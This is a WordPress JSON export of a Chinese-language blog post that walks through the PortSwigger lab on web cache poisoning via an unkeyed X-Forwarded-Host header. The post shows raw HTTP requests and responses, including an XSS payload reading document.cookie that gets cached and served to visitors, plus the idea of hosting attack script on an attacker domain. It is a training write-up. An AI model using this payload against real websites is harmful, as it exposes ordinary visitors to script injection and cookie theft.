{"id":1127,"date":"2023-01-17T23:47:00","date_gmt":"2023-01-17T15:47:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1127"},"modified":"2024-04-14T11:29:06","modified_gmt":"2024-04-14T03:29:06","slug":"web-cache-poisioning","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1127","title":{"rendered":"web cache poisioning"},"content":{"rendered":"\n<p>\u5982\u679c\u5728\u5feb\u53d6\u7684\u904e\u7a0b\u4e2d\uff0c\u5b58\u5165\u4e86\u6709\u5bb3\u7684\u5167\u5bb9\uff0c\u4f8b\u5982\u5b58\u5165\u4e86\u4e00\u500b\u6709XSS payload\u7684\u9801\u9762\u3002 \u5176\u4ed6\u7528\u6236\u9020\u8a2a\u6642\uff0c\u5c31\u6703\u53d7\u5230XSS\u6f0f\u6d1e\u7684\u653b\u64ca\u3002 \u9019\u5c31\u662f\u5feb\u53d6\u6295\u6bd2\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Cache Key<\/h2>\n\n\n\n<p>\u7576 Web Cache \u6536\u5230 HTTP \u8acb\u6c42\u6642\uff0c\u5b83\u9996\u5148\u5fc5\u9808\u78ba\u5b9a\u662f\u5426\u5b58\u5728\u53ef\u4ee5\u76f4\u63a5\u63d0\u4f9b\u7684 Cache \u56de\u61c9\uff0c\u6216\u8005\u5b83\u662f\u5426\u5fc5\u9808\u8f49\u9001\u8acb\u6c42\u4ee5\u4f9b\u5f8c\u7aef\u4f3a\u670d\u5668\u8655\u7406\u3002 Web Cache \u900f\u904e\u6bd4\u8f03\u8acb\u6c42\u5143\u4ef6\u7684\u9810\u5148\u5b9a\u7fa9\u5b50\u96c6\uff0c\u9019\u7d71\u7a31\u70ba<code>Cache Key<\/code>(\u5feb\u53d6\u9375\/\u7de9\u5b58\u9375)\u4f86\u8b58\u5225\u7b49\u6548\u8acb\u6c42\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u8209\u4f8b\u4f86\u8aaa\uff0c\u5047\u8a2d\u6b63\u5e38\u8acb\u6c42\u5982\u4e0b\uff0c\u800chost\u662f<code>Cache Key<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/ HTTP\/1.1\nHost: ac191f9a1fd8f85280ee092600c300b8.web-security-academy.net\n...omit...<\/code><\/pre>\n\n\n\n<p>\u6b63\u5e38\u8fd4\u56de\u5982\u4e0b, <code>X-Cache: miss<\/code>\u4ee3\u8868\u6c92\u6709\u4f7f\u7528\u5feb\u53d6\u7684\u5167\u5bb9\uff0c\u56e0\u6b64\u662f\u76f4\u63a5\u7531\u670d\u52d9\u8fd4\u56de\u7d50\u679c\uff0c\u63a5\u8457\u5feb\u53d6\u670d\u52d9\u5668\u6703\u5c07\u4ee5\u4e0b\u8fd4\u56de\u5167\u5bb9\u505a\u5feb\u53d6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK\nContent-Type: text\/html; charset=utf-8\nConnection: close\nCache-Control: max-age=30\nAge: 0\nX-Cache: miss\n...omit...<\/code><\/pre>\n\n\n\n<p><code>host\uff08Cache Key\uff09<\/code>\u4e0d\u8b8a\u60c5\u6cc1\u4e0b\uff0c\u5982\u679c\u572810\u79d2\u5f8c\u5728\u9001\u4e00\u6b21\u76f8\u540c\u8acb\u6c42\uff0c\u6703\u8fd4\u56de\u4ee5\u4e0b\u5feb\u53d6\u5167\u5bb9\uff0c<code>X-Cache: hit<\/code>\u4ee3\u8868\u4f7f\u7528\u525b\u525b\u5feb\u53d6\u670d\u52d9\u5668\u7684\u5feb\u53d6\u5167\u5bb9\uff0c\u800c\u4e0d\u662f\u670d\u52d9\u5668\u7684\u5167\u5bb9<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>...omit...\n\tCache-Control: max-age=30\n\tAge: 10\n\tX-Cache: hit\n...omit...<\/code><\/pre>\n\n\n\n<p><code>host\uff08Cache Key\uff09<\/code>\u4e0d\u8b8a\u60c5\u6cc1\u4e0b\uff0c\u4f46\u572830\u79d2\u5f8c\u5728\u9001\u51fa\u4e00\u6b21\u76f8\u540c\u8acb\u6c42\uff0c\u5c31\u6703\u8fd4\u56de\u4ee5\u4e0b\u5167\u5bb9\uff0c\u56e0\u70ba\u5feb\u53d6\u6642\u959330\u79d2\u5df1\u7d93\u7d50\u675f\uff0c\u56e0\u6b64\u4e0d\u4f7f\u7528\u5feb\u53d6\u5167\u5bb9\uff0c\u6240\u4ee5\u670d\u52d9\u5668\u8fd4\u56de<code>X-Cache: miss<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>...omit...\n\tCache-Control: max-age=30\n\tAge: 0\n\tX-Cache: miss\n...omit...<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u653b\u64ca\u65b9\u5f0f<\/h2>\n\n\n\n<p>\u4efb\u4f55\u7684\u5feb\u53d6\u6295\u6bd2\u90fd\u4f9d\u8cf4<code>unkeyed header<\/code>(\u975e\u5feb\u53d6\u9375)\uff0c\u6240\u4ee5\u6211\u5011\u4e00\u958b\u59cb\u5c31\u8981\u5224\u65b7\u54ea\u4e9bHTTP\u982d\u90e8\u5c6c\u65bc\u5feb\u53d6\u9375\uff0c\u54ea\u4e9b\u4e0d\u5c6c\u65bc\u3002 \u518d\u900f\u904e\u4fee\u6539\u6216\u52a0\u5165HTTP\u982d\u90e8\u4f86\u5224\u65b7\u54ea\u4e9b\u982d\u90e8\u6703\u9020\u6210\u9801\u9762\u5167\u5bb9\u7684\u8b8a\u5316\u3002 \u5e38\u7528\u7684\u5169\u7a2e\u65b9\u5f0f\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u624b\u52d5\u4fee\u6539\u6216\u65b0\u589eHTTP\u982d\u90e8\uff0c\u6307\u5b9a\u96a8\u6a5f\u5b57\u5143\u5224\u65b7\u982d\u90e8\u662f\u5426\u5f71\u97ff\u9801\u9762\u5167\u5bb9<\/li>\n\n\n\n<li>\u4f7f\u7528Brupsuite\u5916\u639b\u7a0b\u5f0fParam Miner\u4f86\u81ea\u52d5\u5224\u65b7<\/li>\n<\/ol>\n\n\n\n<p><\/p>\n\n\n\n<p>\u4ee5\u9019\u500blab: Web cache poisoning with an unkeyed header\u70ba\u4f8b\uff0c\u5148\u5c0b\u627e\u76ee\u6a19\u96b1\u85cf\u53c3\u6578\uff0c\u900f\u904eParam Miner\u53bb\u641c\u5c0b\uff0c\u53ef\u4ee5\u767c\u73feX-Forwarded-Host\u7684\u5167\u5bb9\u6703\u5f71\u97ff\u8fd4\u56de\u5167\u5bb9\uff0c\u4f46\u4e0d\u6703\u5f71\u97ff\u5feb\u53d6\u7d50\u679c\uff0c\u9019\u500b\u4e5f\u7a31\u70ba<code>unkeyed header<\/code>\u3002<\/p>\n\n\n\n<p>\u9001\u51fa\u8acb\u6c42\u6642\uff0c\u591a\u52a0\u500bX-Forwarded-Host: attackhost.net\uff0c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>########request##########\nGET \/ HTTP\/1.1\nHost: ac191f9a1fd8f85280ee092600c300b8.web-security-academy.net\nX-Forwarded-Host: attackhost.net\n...omit...\n\n########response##########\nHTTP\/1.1 200 OK\nContent-Type: text\/html; charset=utf-8\nConnection: close\nCache-Control: max-age=30\nAge: 0\nX-Cache: miss\n...omit...\n&lt;script type=\"text\/javascript\" src=\"\/\/attackhost.net\/resources\/js\/tracking.js\"&gt;&lt;\/script&gt;\n...omit...<\/code><\/pre>\n\n\n\n<p>\u5728\u8fd4\u56de\u6642\u5c31\u6703\u767c\u73fe\uff0c\u8fd4\u56de\u5167\u5bb9\u8b8a\u6210attackhost.net\uff0c\u9019\u8868\u793a\u96b1\u85cf\u53c3\u6578X-Forwarded-Host\u53ef\u4ee5\u63a7\u5236\u8fd4\u56de\u5167\u5bb9<\/p>\n\n\n\n<p>\u78ba\u5b9a\u96b1\u85cf\u53c3\u6578X-Forwarded-Host\u53ef\u7528\u5f8c\uff0c\u53ef\u52a0\u5165XSS\u9032\u884c\u653b\u64ca\uff0c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>########request##########\nGET \/ HTTP\/1.1\nHost: ac191f9a1fd8f85280ee092600c300b8.web-security-academy.net\nX-Forwarded-Host: attackhost.net\"&gt;&lt;\/script&gt;&lt;script&gt;alert(document.cookie)&lt;\/script&gt;\n...omit...\n\n########response##########\nHTTP\/1.1 200 OK\nContent-Type: text\/html; charset=utf-8\nConnection: close\nCache-Control: max-age=30\nAge: 0\nX-Cache: miss\n...omit...\n&lt;script type=\"text\/javascript\" src=\"\/\/attackhost.net\"&gt;&lt;\/script&gt;&lt;script&gt;alert(document.cookie)&lt;\/script&gt;\/resources\/js\/tracking.js\"&gt;&lt;\/script&gt;\n...omit...<\/code><\/pre>\n\n\n\n<p>\u8fd4\u56de\u5167\u5bb9\u5c31\u6703\u593e\u5e36XSS\u653b\u64ca<code>alert(document.cookie)<\/code>\uff0c\u7531\u65bc\u8a72\u5167\u5bb9\u5df1\u88ab\u670d\u52d9\u5668\u5feb\u53d6\uff0c\u56e0\u6b64\u572830\u79d2\u5167\uff0c\u6240\u6709\u8a2a\u554f\u8a72\u4e3b\u6a5f\u8a72\u7db2\u5740\u7684\u8a2a\u5ba2\uff0c\u8fd4\u56de\u7d50\u679c\u90fd\u6703\u5f97\u5230\u9019\u500b\u542bXSS\u7684\u5feb\u53d6\u5167\u5bb9\uff0c\u5982\u4e0b\uff0c<code>X-Cache: hit<\/code>\u8868\u793a\u4f7f\u7528\u5feb\u53d6\u5167\u5bb9<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK\nContent-Type: text\/html; charset=utf-8\nConnection: close\nCache-Control: max-age=30\nAge: 1\nX-Cache: hit\n...omit...\n&lt;script type=\"text\/javascript\" src=\"\/\/attackhost.net\"&gt;&lt;\/script&gt;&lt;script&gt;alert(document.cookie)&lt;\/script&gt;\/resources\/js\/tracking.js\"&gt;&lt;\/script&gt;\n...omit...<\/code><\/pre>\n\n\n\n<p>\u9664\u6b64\u4e4b\u5916,\u4e5f\u53ef\u4ee5\u5728\u653b\u64ca\u4e3b\u6a5fattackhost.net\u4e2d\u6e96\u5099\u4e00\u6a23\u8def\u5f91\u7684js\u8cc7\u6e90\/resources\/js\/tracking.js\uff0c\u4e26\u628a\u653b\u64ca\u4ee3\u78bc\u5beb\u5728\u88e1\u9762\uff0c\u4e5f\u6709\u540c\u6a23\u7684\u6548\u679c<\/p>\n\n\n\n<p>refer<br>lab: Web cache poisoning with an unkeyed header<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5982\u679c\u5728\u5feb\u53d6\u7684\u904e\u7a0b\u4e2d\uff0c\u5b58\u5165\u4e86\u6709\u5bb3\u7684\u5167\u5bb9\uff0c\u4f8b\u5982\u5b58\u5165\u4e86\u4e00\u500b\u6709XSS &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[368],"tags":[],"class_list":["post-1127","post","type-post","status-publish","format-standard","hentry","category-operations"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1127","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1127"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1127\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1127"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1127"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1127"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}